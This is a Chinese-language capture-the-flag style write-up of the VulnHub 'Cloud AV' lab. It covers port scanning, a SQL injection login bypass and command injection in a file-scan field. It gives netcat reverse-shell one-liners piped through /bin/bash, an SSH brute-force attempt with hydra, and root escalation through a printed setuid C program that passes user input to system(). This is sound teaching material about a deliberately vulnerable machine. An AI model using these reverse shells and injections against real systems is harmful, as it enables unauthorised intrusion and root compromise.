# 前言

上一篇文章记录了我学习 JavaScript 原型链有关的知识点,这里再开台简单的靶机调和一下思路,地址也贴在这里 BoredHacker 博客:Cloud AV ~ VulnHub

# 靶机描述

云反病毒扫描程序!是一种基于云的防病毒扫描服务。

目前,它处于测试模式。系统要求您测试设置并查找漏洞并升级隐私。

难度:简单

涉及的任务:

  • 端口扫描
  • 网页应用攻击
  • SQL 注入
  • 命令注入
  • 暴力破解
  • 代码分析

虚拟机:

  • 格式: 虚拟机 (Virtualbox OVA)
  • 操作系统: Linux.

联网:

  • DHCP 服务:已启用
  • IP 地址自动分配

# 攻击流程

# 信息收集

这里我都是使用的桥接模式,直接扫描当前网段

nmap  192.168.13.0/24

image-20230714150949929

这里可以看到开放了 22 和 8080 端口,接下来对端口进行一个服务发现

nmap  -p22,8080 -sV 192.168.13.184

image-20230714151232281

这里可以看到 8080 上是开放了一个 web 服务,使用了 workzeug 框架,使用的 python 版本 2.7.15

接下使用浏览器尝试去访问 8080 端口

image-20230714151457966

这是一个云防病毒的查杀服务,这里我们需要有一个邀请码才能正常使用服务,这里能想到的方法有两种暴力破解和注入

这里先给火狐浏览器的代理指向 burp 的监听端口

image-20230714151938572

image-20230714152349789

这里发现输入 " 的时候会抛出一个异常

image-20230714152655817

# 漏洞利用

这里抛出的异常很明显是存在 sql 注入

image-20230714153019079

这里使用万能密码就可以,这里直接用浏览器发送请求

image-20230714153227998

这个页面就是一个防病毒的扫描文件了,这里熟悉 linux 的应该第一反应就是这是通过 ll 命令查看到的内容,很显然这些文件就是放在服务端上面的文件,这里我们提交文件名这里后台应该是对我们传入的文件名进行了一些操作,这里猜想可能是命令注入就尝试了一下

image-20230714153823101

这里尝试读取文件

image-20230714153809407

能够成功读取,那么很显然这里的逻辑大概是./filename xxx (xxx 是我们传入的文件名,filename 是查杀病毒的可执行文件)

# nc 反弹 shell

那么接下来就可以进行反弹 shell,开始我也是用 nc 尝试了半天,但是一直没法成功,这里我也是去问了一下大师傅,才知道有些版本的 nc 是没有 - e 参数的

cat;nc 192.168.13.249 1234 | /bin/bash | nc 192.168.13.249 2345

这里先通过 nc 监听一个端口,然后通过管道符将第一个连接的后续输入都发送给 /bin/bash,然后将执行的结果通过管道符发送给另一个端口

image-20230714161309893

这里 1234 端口输入的内容

image-20230714161330489

2345 会输出被 /bin/bash 解析后的内容

image-20230714161406931

这里可以看到,这个数据库文件似乎是有点奇怪的,这里使用 file 命令查看一下

image-20230714162027441

这是一个 SQLLite 的数据库文件,这里将这个文件 down 下来再本地运行一下

image-20230714162251815

这里使用 sqlite3 运行这个数据库文件

image-20230714162512372

这里插入了四条数据到数据库中,这里之前在命令注入的地方查看了 /etc/passwd 文件

image-20230714153809407

这里可以看见只有 root,cloudav 和 scanner 是可以通过 shell 登录系统,这里用这几个用户去尝试 ssh 登录

这里分别生成字典然后通过 hydra 尝试登录

image-20230714163309903

好吧这里并不是登录密码,这里接着去收集信息

在上一级目录中发现了一个可能可以利用的文件

image-20230714163821666

这里很显然,update_cloudav.c 是源码文件,update_cloudav 是可执行文件,他的所有者是 root,且可执行,这里的想法就是执行这个文件,然后进行命令注入

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    char *freshclam = "/usr/bin/freshclam"; //freshclam 命令的路径
    if (argc < 2) {
        printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
        return 1;
    }
    // 构建完整的命令行
    char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
    sprintf(command, "%s %s", freshclam, argv[1]);
    setgid(0); // 设置有效组 ID 为 0,即 root 用户组
    setuid(0); // 设置有效用户 ID 为 0,即 root 用户
    system(command); // 执行 freshclam 命令
    return 0;
}

这个程序总的来说就如果你有参数就能够正常执行病毒库更新的一个操作,这里还是进行一个命令注入来反弹 shell

./update_cloudav "a;nc 192.168.13.249 6666|/bin/bash|nc 192.168.13.249 7777"

image-20230714164840036

这样就算是成功了